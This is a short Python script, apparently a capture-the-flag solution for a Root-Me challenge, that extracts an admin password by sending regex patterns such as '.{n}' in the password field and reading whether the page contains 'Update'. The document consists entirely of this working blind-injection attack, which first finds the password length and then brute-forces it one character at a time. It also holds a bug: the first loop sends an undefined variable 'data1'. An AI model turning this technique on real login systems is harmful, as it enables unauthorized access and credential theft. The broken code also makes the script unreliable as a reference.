ss.py

#! /usr/bin/python3
import requests

flag_len = 0
headers = {'Host':'dev.root-me.local'}
for j in range(128):
            ch = ".{"+str(j)+"}"
            data = {'usr_name':'admin' , 'usr_password':str(ch) }
            page = requests.get("http://ctf01.root-me.org/",headers=headers,data=data1).text
            if "Update" in page:
                flag_len = j
                print("\rFlag is {} long".format(flag_len), end="")
            else:
                break
print()
flag = ""
for i in range(flag_len -1, -1, -1):
        for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-+ @":
                test = flag + j
                chaine= str(test)+".{"+str(i)+"}"
                data2 = {'usr_name':'admin' , 'usr_password':str(chaine)}
                page = requests.get("http://ctf01.root-me.org/",headers=headers,data=data2).text
                print("\rPassword is " + test, end="")
                if "Update" in page:
                        flag+=j
                        break
print()